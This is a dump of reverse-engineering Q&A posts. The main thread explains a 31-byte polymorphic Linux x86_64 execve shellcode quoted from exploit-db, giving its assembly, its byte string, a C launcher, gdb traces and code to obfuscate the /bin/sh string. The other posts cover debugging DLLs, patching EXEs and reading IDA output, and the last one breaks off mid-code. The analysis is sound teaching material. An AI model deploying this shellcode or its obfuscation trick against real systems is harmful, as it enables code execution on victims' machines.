  <row Id="11403" PostTypeId="1" AcceptedAnswerId="11404" CreationDate="2015-11-26T01:22:51.897" Score="5" ViewCount="1905" Body="&lt;p&gt;I stumbled upon this 31 bytes of &lt;a href=&quot;https://www.exploit-db.com/exploits/38815/&quot;&gt;Linux x86_64 Polymorphic execve Shellcode&lt;/a&gt;, posted by the author &quot;d4sh&amp;amp;r&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code seems to be a combination of assembly and C and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;;Title: polymorphic execve shellcode&#xA;;Author: d4sh&amp;amp;r&#xA;;Contact: https://mx.linkedin.com/in/d4v1dvc&#xA;;Category: Shellcode&#xA;;Architecture:linux x86_64&#xA;;SLAE64-1379&#xA;;Description:&#xA;;Polymorphic shellcode in 31 bytes to get a shell &#xA;;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux&#xA;&#xA;;Compilation and execution&#xA;;nasm -felf64 shell.nasm -o shell.o&#xA;;ld shell.o -o shell&#xA;;./shell&#xA;&#xA;global _start&#xA;&#xA;_start:&#xA;    mul esi&#xA;    push rdx&#xA;    mov al,1                         &#xA;    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh &#xA;    rol rbx,24&#xA;    shr rbx,1&#xA;    push rbx&#xA;    lea rdi, [rsp] ;address of /bin//sh&#xA;    add al,58&#xA;    syscall&#xA;&#xA;*/&#xA;#include&amp;lt;stdio.h&amp;gt;&#xA;//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode&#xA;unsigned char code[] = &quot;\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05&quot;;&#xA;&#xA;main()&#xA;{&#xA;   int (*ret)()=(int(*)()) code;&#xA;    ret();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was curious, what do each of the lines 17-40 do, specifically, and how does this accomplish an exploit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Line 17 is the one with the expression &quot;global _start&quot;)&lt;/p&gt;&#xA;" OwnerUserId="14246" LastActivityDate="2015-11-26T13:48:09.907" Title="What do the 20 lines of executable code in this exploit do?" Tags="|assembly|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11404" PostTypeId="2" ParentId="11403" CreationDate="2015-11-26T04:00:47.360" Score="11" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; @EnricoGhirardi Thanks for pointing the &lt;strong&gt;mul esi&lt;/strong&gt; inaccuracy I previously posted!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start out, the first instruction &lt;strong&gt;mul esi&lt;/strong&gt; zeroes out &lt;strong&gt;rax&lt;/strong&gt; and &lt;strong&gt;rdx&lt;/strong&gt; in the example below (this is only because &lt;strong&gt;rsi&lt;/strong&gt; is 0 to begin with). The least significant bits will be stored in &lt;strong&gt;rax&lt;/strong&gt; and the most significant bits will be stored in &lt;strong&gt;rdx&lt;/strong&gt;. Both of these registers will be zero. We can verify this with the following after compiling the test code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -fno-stack-protector -z execstack shellcode.c -o shellcode&#xA;gdb shellcode&#xA;&#xA;**BANNER SNIPPED**&#xA;&#xA;Dump of assembler code for function main:&#xA;   0x00000000004004ed &amp;lt;+0&amp;gt;:     push   %rbp&#xA;   0x00000000004004ee &amp;lt;+1&amp;gt;:     mov    %rsp,%rbp&#xA;   0x00000000004004f1 &amp;lt;+4&amp;gt;:     sub    $0x10,%rsp&#xA;   0x00000000004004f5 &amp;lt;+8&amp;gt;:     movq   $0x601060,-0x8(%rbp)&#xA;   0x00000000004004fd &amp;lt;+16&amp;gt;:    mov    -0x8(%rbp),%rdx&#xA;   0x0000000000400501 &amp;lt;+20&amp;gt;:    mov    $0x0,%eax&#xA;   0x0000000000400506 &amp;lt;+25&amp;gt;:    callq  *%rdx&#xA;   0x0000000000400508 &amp;lt;+27&amp;gt;:    leaveq &#xA;   0x0000000000400509 &amp;lt;+28&amp;gt;:    retq   &#xA;End of assembler dump.&#xA;(gdb) b *0x0000000000400506&#xA;Breakpoint 1 at 0x400506&#xA;(gdb) c&#xA;The program is not being run.&#xA;(gdb) r&#xA;&#xA;&#xA;Breakpoint 1, 0x0000000000400506 in main ()&#xA;(gdb) si&#xA;0x0000000000601060 in code ()&#xA;(gdb) disas&#xA;Dump of assembler code for function code:&#xA;=&amp;gt; 0x0000000000601060 &amp;lt;+0&amp;gt;:     mul    %esi&#xA;   0x0000000000601062 &amp;lt;+2&amp;gt;:     push   %rdx&#xA;   0x0000000000601063 &amp;lt;+3&amp;gt;:     mov    $0x1,%al&#xA;   0x0000000000601065 &amp;lt;+5&amp;gt;:     movabs $0xd2c45ed0e65e5edc,%rbx&#xA;   0x000000000060106f &amp;lt;+15&amp;gt;:    rol    $0x18,%rbx&#xA;   0x0000000000601073 &amp;lt;+19&amp;gt;:    shr    %rbx&#xA;   0x0000000000601076 &amp;lt;+22&amp;gt;:    push   %rbx&#xA;   0x0000000000601077 &amp;lt;+23&amp;gt;:    lea    (%rsp),%rdi&#xA;   0x000000000060107b &amp;lt;+27&amp;gt;:    add    $0x3a,%al&#xA;   0x000000000060107d &amp;lt;+29&amp;gt;:    syscall &#xA;   0x000000000060107f &amp;lt;+31&amp;gt;:    add    %al,(%rax)&#xA;End of assembler dump.&#xA;(gdb) i r rax rdx&#xA;rax            0x0      0&#xA;rdx            0x601060 6295648&#xA;(gdb) si&#xA;0x0000000000601062 in code ()&#xA;(gdb) i r rax rdx&#xA;rax            0x0      0&#xA;rdx            0x0      0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see, rax and rdx are both 0, which means that esi (or rsi) has been multiplied by zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is important because the shellcode eventually uses a &lt;strong&gt;syscall&lt;/strong&gt; on line 29. We can see that syscall on line 29 is preceded by &lt;strong&gt;add al,58&lt;/strong&gt; where al is already 1, therefore the rax register will hold a value of 59. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number &lt;strong&gt;59&lt;/strong&gt; is the index for &lt;strong&gt;execve&lt;/strong&gt; in the &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linux x86_64 syscall table&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;execve&lt;/strong&gt; will execute /bin//sh. Let's check out the function prototype:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int execve(const char *filename, char *const argv[], &#xA;       char *const envp[]); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the prototype's &lt;a href=&quot;http://www.tutorialspoint.com/unix_system_calls/execve.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;description&lt;/a&gt;, &lt;strong&gt;&lt;em&gt;filename&lt;/strong&gt; must be either a binary executable, or a script starting with a line of the form &quot;#! interpreter [arg]&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will see that eventually the shellcode passed &lt;strong&gt;/bin//sh&lt;/strong&gt; as this argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;argv&lt;/strong&gt; are just the arguments passed to the binary. In this case, the arguments are NULL because as we have seen before, the &lt;strong&gt;rsi&lt;/strong&gt; register was previously zeroed out on line 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, &lt;strong&gt;envp&lt;/strong&gt; are the environment arguments passed to the binary. Again, there are none because we have seen that the &lt;strong&gt;mul %esi&lt;/strong&gt; instruction has zeroed out both &lt;strong&gt;rsi&lt;/strong&gt; and &lt;strong&gt;rdx&lt;/strong&gt;. In x86_64 Linux, the &lt;strong&gt;rsi&lt;/strong&gt; and &lt;strong&gt;rdx&lt;/strong&gt; registers are the second and third arguments to &lt;strong&gt;execve()&lt;/strong&gt; respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more information on x86_64 calling conventions &lt;a href=&quot;https://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-on-x86-64&quot;&gt;here&lt;/a&gt; to see how arguments are passed into functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the first argument in &lt;strong&gt;execve&lt;/strong&gt; is &lt;strong&gt;/bin//sh&lt;/strong&gt;, which is eventually passed to the &lt;strong&gt;edi&lt;/strong&gt; register. &lt;strong&gt;edi&lt;/strong&gt; holds the first function argument in Linux x86_64 assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interesting part is that this is &lt;strong&gt;polymorphic shellcode&lt;/strong&gt;. We can think of polymorphic shellcode as obfuscated machine instructions that deobfuscate themselves upon execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On line 23, the hex string &lt;strong&gt;0xd2c45ed0e65e5edc&lt;/strong&gt; in ascii is &lt;strong&gt;ÒÄ^Ðæ^^Ü&lt;/strong&gt; which is clearly obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lines 24 and 25 deobfuscate this string and we get &lt;strong&gt;0x68732f2f6e69622f&lt;/strong&gt; which is &lt;strong&gt;hs//nib/&lt;/strong&gt; in ascii. This is &lt;strong&gt;/bin//sh&lt;/strong&gt; spelt backwards because the argument is passed &lt;strong&gt;to execve()&lt;/strong&gt; in &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;nofollow noreferrer&quot;&gt;little endian byte order&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For proof of concept, you can run the code in gdb, or use the following deobfuscator I wrote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdint.h&amp;gt;&#xA;#include &amp;lt;inttypes.h&amp;gt;&#xA;&#xA;uint64_t rol(uint64_t v, unsigned int bits)&#xA;{&#xA;  return (v&amp;lt;&amp;lt;bits) | (v&amp;gt;&amp;gt;(8*sizeof(uint64_t)-bits));&#xA;}&#xA;&#xA;int main(void)&#xA;{&#xA;  uint64_t obfuscated = 0xd2c45ed0e65e5edc;&#xA;  uint64_t deobfuscated = rol(obfuscated, 24);&#xA;  deobfuscated /= 2;&#xA;  printf(&quot;0x%&quot; PRIx64 &quot;\n&quot;, deobfuscated);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will get the deobfuscated hex string &lt;strong&gt;0x68732f2f6e69622f&lt;/strong&gt; which again, is &lt;strong&gt;hs//nib/&lt;/strong&gt; in ascii.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 26 pushes the deobfuscated /bin//sh on top of the stack (i.e. in the &lt;strong&gt;rsp&lt;/strong&gt; register) and line 27 loads the address pointing to the string &lt;strong&gt;/bin//sh&lt;/strong&gt; into &lt;strong&gt;rdi&lt;/strong&gt;. Again, please note that this string is being passed in little endian byte ordering. Now we can clearly see that &lt;strong&gt;/bin//sh&lt;/strong&gt; is the first argument in &lt;strong&gt;execve()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, the shell is executed on line 29.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a commented pseudocode summary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_start:&#xA;    mul esi                     ; When this shellcode is executed, rsi and rdx become 0 because they are multiplied by rax which is 0, in Linux x86_64 assembly, rsi is the second argument in a function&#xA;    push rdx                    ; save rdx (i.e. the buffer pointer to the shellcode), rdx is also the third argument passed to a syscall in x86_64&#xA;    mov al,1                    ; used for obfuscation since mov al, 59 followed by syscall may look suspicious                       &#xA;    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh obfuscated &#xA;    rol rbx,24                  ; Deobfuscate the hex string /bin//sh&#xA;    shr rbx,1                   ; Division by 2 to further deobfuscate /bin//sh&#xA;    push rbx                    ; Push the hex string on the top of the stack [in rsp]&#xA;    lea rdi, [rsp]              ; Load /bin//sh into rdi in little endian&#xA;                                ; in linux 86_64 the first argument is passed to rdi during a syscall&#xA;    add al,58                   ; al = 59 i.e. call execve&#xA;    syscall                     ; execve(&quot;/bin//sh&quot;, 0, *shellcode_buffer)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the C code, the machine instructions that represent the compiled assembly from lines 17 - 29 are stored in a global variable. We can use the following commands to check the bytes from the shellcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ nasm -felf64 shell.asm -o shell.o&#xA;    $ ld shell.o -o shell&#xA;    $ xxd shell&#xA;&#xA;    CONTENT SNIPPED&#xA;    00000080: f7e6 52b0 0148 bbdc 5e5e e6d0 5ec4 d248  ..R..H..^^..^..H&#xA;    00000090: c1c3 1848 d1eb 5348 8d3c 2404 3a0f 0500  ...H..SH.&amp;lt;$.:...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see, it matches with the following buffer in the C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned char code[] = &quot;\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code in &lt;strong&gt;main&lt;/strong&gt; simply casts the string buffer global variable into a function pointer which is then called, executing the polymorphic shellcode, and spawning a shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, shellcode is just a possible part of an exploit. An exploit consists of an input that is precisely tailored to a specific version of a program and OS. The shellcode can be part of the payload, but operating systems have became more secure adding ASLR (Address Stack Layout Randomization) and DEP (Data Execution Prevention), so generally it is more practical to overwrite a function pointer in to GOT (Global Offset Table) than to inject shellcode into a buffer. Assuming that you were performing a generic stack buffer overflow, the buffer would have to be at least 0x19 bytes long. You would also need some more space to compensate for the rest of the exploit. In other words, you would need a buffer with enough space to fit the shellcode and the rest of the exploit so that you could overwrite the RET address on the stack to redirect program execution (RIP/EIP) to your shellcode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just an example, but there are many more ways this shellcode can be used in a exploit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking a few steps back, this shellcode could fail if &lt;strong&gt;esi/rsi&lt;/strong&gt; is not 0 to begin with because if it is not zero, then we will have a second argument passed into &lt;strong&gt;execve()&lt;/strong&gt; and possibly even a third agument if the result from the instruction &lt;strong&gt;mul esi&lt;/strong&gt; overflows into &lt;strong&gt;edx&lt;/strong&gt;. The shellcode would be more reliable if there were an &lt;strong&gt;xor esi, esi&lt;/strong&gt; instruction preceeding the &lt;strong&gt;mul&lt;/strong&gt; &lt;strong&gt;esi&lt;/strong&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also might think how the exploit developer came up with the obfuscated hex string &lt;strong&gt;0xd2c45ed0e65e5edc&lt;/strong&gt;. They simply took original string &lt;strong&gt;hs//nib/&lt;/strong&gt; and applied the deobfuscating instructions in reverse order. You can use the following code for proof of concept:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdint.h&amp;gt;&#xA;#include &amp;lt;inttypes.h&amp;gt;&#xA;&#xA;uint64_t ror(uint64_t v, unsigned int bits)&#xA;{&#xA;  return (v&amp;gt;&amp;gt;bits) | (v&amp;lt;&amp;lt;(8*sizeof(uint64_t)-bits));&#xA;}&#xA;&#xA;int main(void)&#xA;{&#xA;  uint64_t deobfuscated = 0x68732f2f6e69622f;&#xA;  uint64_t obfuscated = deobfuscated * 2;&#xA;  obfuscated = ror(obfuscated, 24);&#xA;  printf(&quot;0x%&quot; PRIx64 &quot;\n&quot;, obfuscated);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should get the original obfuscated hex string &lt;strong&gt;0xd2c45ed0e65e5edc&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13909" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-11-26T13:48:09.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11405" PostTypeId="2" ParentId="11389" CreationDate="2015-11-26T04:32:52.933" Score="2" Body="&lt;p&gt;You can load your executable that loads the DLL using OllyDbg or Immunity Debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then check which modules imported are loaded via &lt;strong&gt;View-&gt;Executable Modules&lt;/strong&gt; or with the keyboard shortcut &lt;strong&gt;Alt+E&lt;/strong&gt; (at least on Immunity Debugger).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, select your DLL which was imported and right click it. Select &lt;strong&gt;View Names&lt;/strong&gt; or hit &lt;strong&gt;Ctrl+N&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will be prompted with a sub menu where you can select the DLL's export you are interested in. Select the export and hit &lt;strong&gt;F2&lt;/strong&gt; to set a software breakpoint on it or right click and select &lt;strong&gt;Toggle Breakpoint&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you run your program, hopefully, your DLL import will be called and your breakpoint will be hit, pausing execution. You can then view your call stack with &lt;strong&gt;View-&gt;Call Stack&lt;/strong&gt; or you can use the shortcut &lt;strong&gt;Alt+K&lt;/strong&gt;. You will likely be interested in the &lt;strong&gt;returns to&lt;/strong&gt; column because that will represent the address where your DLL import will return to. Note that the most recently called functions will be located on the top of the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use IDA to search for that address in the disassembly. When you are in graph view, press &lt;strong&gt;g&lt;/strong&gt; and paste the address that you copied from the &lt;strong&gt;returns to column&lt;/strong&gt; from the call stack in your debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy hunting! :)&lt;/p&gt;&#xA;" OwnerUserId="13909" LastActivityDate="2015-11-26T04:32:52.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11406" PostTypeId="1" AcceptedAnswerId="11407" CreationDate="2015-11-26T06:05:59.113" Score="1" ViewCount="6715" Body="&lt;p&gt;I am trying to add new functionality to a hard-coded exe of a game like adding  new creatures and new spells and adding spells to creatures that did not have them before. For that I need to significantly modify the exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be theoretically possible to expand an exe file somehow by increasing its binary size. Browsing on the internet I have stumbled upon this tool:&lt;strong&gt;&lt;a href=&quot;http://www.cgsoftlabs.ro/studpe.html&quot; rel=&quot;nofollow&quot;&gt;http://www.cgsoftlabs.ro/studpe.html&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am a RE and assembly newbie I do not get at all how this operates and how I could expand an exe using this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have heard about some tools that make this possible on Linux. Are there Windows equivalents?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, maybe I could use some sort of dll injection to expand the .exe? Or maybe add functionality through some hooking?&lt;/p&gt;&#xA;" OwnerUserId="14250" LastActivityDate="2015-11-26T13:05:05.843" Title="adding data and code to existing .exe file on Windows" Tags="|disassembly|executable|" AnswerCount="1" CommentCount="0" ClosedDate="2015-11-30T11:04:51.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="11407" PostTypeId="2" ParentId="11406" CreationDate="2015-11-26T11:00:41.473" Score="2" Body="&lt;p&gt;Sure its possible to increase exe size (that's the trivial part) you just need to add new section to section table. &#xA;I recommend &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;nofollow&quot;&gt;CFF explorer&lt;/a&gt; &#xA;IMHO the best PE view/edit tool.&#xA;Invoke context menu from section headers (on the right side) to add new section then fill it with the code, data you want. Next you need to reverse the game and see how its structured and where to patch the code so it will jump to your code. For dll injection you could use &lt;a href=&quot;http://www.cheatengine.org/&quot; rel=&quot;nofollow&quot;&gt;Cheat engine&lt;/a&gt; they have a very nice tutorial but you still need to reverse the game and write injection code.dll.&lt;/p&gt;&#xA;" OwnerUserId="2936" LastEditorUserId="2936" LastEditDate="2015-11-26T13:05:05.843" LastActivityDate="2015-11-26T13:05:05.843" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11408" PostTypeId="2" ParentId="11403" CreationDate="2015-11-26T11:39:32.067" Score="6" Body="&lt;p&gt;The answer above is correct for the most part but it includes some inaccuracies. I can't comment so I'll add the corrections in this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I don't think this is a good shellcode since it takes an assumption on both %rax and %rsi. &#xA;@itsbriany correctly points out that %rax is zero, but that is the case only in the specific launcher that the author wrote.&#xA;When defining the ret function the number of arguments isn't specified, making it for the C standard a variadic function. For the x86_64 ABI, if a function has variable arguments then AL (which is part of EAX) is expected to hold the number of vector registers used to hold arguments to that function.&#xA;Just by changing the definition to ret like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int (*ret)(void)=(int(*)()) code;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results in a segmentation fault. &#xA;Then the operation &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mul esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;doesn't zero out %esi as the other answers implies. In this case it multiplies %esi and %eax and stores upper bits in %edx lower bits in %eax, thus clearing %edx as a result. %esi is never modified and in fact it still points to the argv array of the original program. In another program where %esi has some invalid values the shell code won't work either. &#xA;Also %edx is pushed on the stack for no reason it seems.&lt;/p&gt;&#xA;" OwnerUserId="14253" LastEditorUserId="14253" LastEditDate="2015-11-26T13:19:58.960" LastActivityDate="2015-11-26T13:19:58.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11409" PostTypeId="2" ParentId="11383" CreationDate="2015-11-26T13:35:55.613" Score="4" Body="&lt;p&gt;Try &lt;a href=&quot;http://de4dot.com&quot; rel=&quot;nofollow&quot;&gt;http://de4dot.com&lt;/a&gt; its a powerful .net deobfuscator. I've authored a serie of tutorials dubbed &quot;demystifying dot net reverse engineering&quot; google it, its a great point of start if you are new on .net RE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an article on how to deal with obfuscated assemblies &lt;a href=&quot;http://resources.infosecinstitute.com/reverse-engineering-obfuscated-assemblies/&quot; rel=&quot;nofollow&quot;&gt;http://resources.infosecinstitute.com/reverse-engineering-obfuscated-assemblies/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is directly related to what you asked for : [.NET] Decrypt Confuser 1.9 methods : &lt;a href=&quot;http://fr.scribd.com/doc/207710371/NET-Decrypt-Confuser-1-9-Methods#scribd&quot; rel=&quot;nofollow&quot;&gt;http://fr.scribd.com/doc/207710371/NET-Decrypt-Confuser-1-9-Methods#scribd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="13977" LastActivityDate="2015-11-26T13:35:55.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11411" PostTypeId="1" CreationDate="2015-11-26T19:29:05.793" Score="0" ViewCount="1213" Body="&lt;p&gt;I apologise for the length of this post, though I have taken the time to make it as readable as I can and included my ideas and thinking where possible so this post might be useful to other readers later down the track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For context, I've started trying to learn some reverse engineering. After reading as much as I could find on the subject of reversing C++ and playing around with some trivial examples (that I wrote and compiled myself), I thought I would try my hand at a program I'm familiar with but don't have the source code for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loading that Win32 C++ program (compiled with Visual Studio if that helps) into IDA Pro I see it has the following WinMain function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)&#xA;__stdcall WinMain(x, x, x, x) proc near&#xA;&#xA;sub     esp, 0BCh&#xA;mov     eax, off_7CA000                           ; A pointer to some other string&#xA;push    ebx                                       ; char (IDA generated comment)&#xA;lea     ecx, [esp+0C0h+var_B4]&#xA;push    ecx                                       ; int (IDA generated comment)&#xA;mov     ecx, offset unk_8C16C0                    ; size_t (IDA generated comment)&#xA;&#xA;...     ; local variable init starts, including:&#xA;&#xA;mov     [esp+0C4h+var_B4], offset aSomeString     ; &quot;Some String&quot;&#xA;mov     [esp+0C4h+var_AC], eax&#xA;&#xA;...     ; local variable init finishes&#xA;&#xA;call    sub_407530&#xA;mov     dword_8C16C4, offset off_8C16BC&#xA;mov     dword_8C16C8, offset sub_242CE0&#xA;call    sub_4AF9C0&#xA;...                                               ; rest of WinMain(..)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although the order of the ops is a little strange compared to what I have seen (local vars are initialised in between pushing a pointer onto the stack and ECX being initialised for use in a later sub routine call), I guess I have the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;var_B4&lt;/code&gt; is pushed onto the stack&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;offset unk_8C16C0&lt;/code&gt; is placed into ECX&lt;/li&gt;&#xA;&lt;li&gt;Local vars are initialised (where we find out &lt;code&gt;var_B4&lt;/code&gt; is a &lt;code&gt;char*&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;The sub routine &lt;code&gt;sub_407530&lt;/code&gt; is called&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So perhaps &lt;code&gt;offset unk_8C16C0&lt;/code&gt; is a &lt;code&gt;this&lt;/code&gt; pointer for some global class (global because we're so early on in WinMain) and &lt;code&gt;sub_407530&lt;/code&gt; is a &lt;code&gt;__thiscall&lt;/code&gt; to a member function of the class pointed to by &lt;code&gt;offset unk_8C16C0&lt;/code&gt; that takes a single &lt;code&gt;char*&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the cross references to &lt;code&gt;offset unk_8C16C0&lt;/code&gt; I see two, so perhaps one is a constructor and the other a destructor. One of them is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_687C30      proc near                        ; DATA XREF: .rdata:006BF608&#xA;&#xA;var_C   = dword ptr -0Ch&#xA;var_4   = dword ptr -4&#xA;&#xA;mov     eax, large fs:0&#xA;push    0FFFFFFFFh&#xA;push    offset SEH_687C30&#xA;push    eax&#xA;mov     large fs:0, esp&#xA;mov     ecx, offset unk_8C16C0                   ; this&#xA;mov     [esp+0Ch+var_4], 0&#xA;call    Concurrency::details::_ReaderWriterLock::_ReaderWriterLock(void)&#xA;push    offset sub_6BA2B0                        ; void (__cdecl *)()&#xA;call    _atexit&#xA;mov     ecx, [esp+10h+var_C]&#xA;mov     large fs:0, ecx&#xA;add     esp, 10h&#xA;retn&#xA;endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Great, my suspicions seem validated, &lt;code&gt;offset unk_8C16C0&lt;/code&gt; seems to point to a global &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/dd504907(v=vs.100).aspx&quot; rel=&quot;nofollow&quot;&gt;reader_writer_lock&lt;/a&gt; object, the above block initialises it and registers &lt;code&gt;sub_6BA2B0&lt;/code&gt; (the only other reference to &lt;code&gt;offset unk_8C16C0&lt;/code&gt;) to run on &lt;code&gt;exit&lt;/code&gt; via a call to &lt;code&gt;_atexit&lt;/code&gt;, so that is likely our destructor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's at this point I start to have some doubts about my suspicions ... the above block is referring to a &lt;code&gt;details&lt;/code&gt; namespace, which upon a little more research seems to be more related to the internals of reader_writer_lock. I'm also not sure why this initialisation block is so complicated. And finally, the only reference to this block is in the executables read only data section which itself has no references, so I feel like I'm at a bit of a dead end here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, moving forward to the call to &lt;code&gt;sub_407530&lt;/code&gt; in WinMain, I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; int __thiscall sub_407530(size_t, int)&#xA;sub_407530      proc near        ; CODE XREF: WinMain(x,x,x,x)&#xA;&#xA;arg_0   = dword ptr  8&#xA;&#xA;push    ebp&#xA;mov     ebp, esp&#xA;push    esi&#xA;push    37628                    ; size_t&#xA;mov     esi, ecx&#xA;call    operator new(uint)&#xA;add     esp, 4&#xA;test    eax, eax&#xA;jz      short loc_407550&#xA;mov     ecx, eax&#xA;call    sub_406B30&#xA;jmp     short loc_407552&#xA;&#xA;loc_407550:                      ; CODE XREF: sub_407530+15&#xA;xor     eax, eax&#xA;&#xA;loc_407552:                      ; CODE XREF: sub_407530+1E&#xA;mov     [esi], eax&#xA;mov     dword_DC32B8, eax&#xA;mov     eax, [ebp+arg_0]&#xA;mov     ecx, [esi]&#xA;push    eax                      ; int&#xA;push    esi                      ; size_t&#xA;call    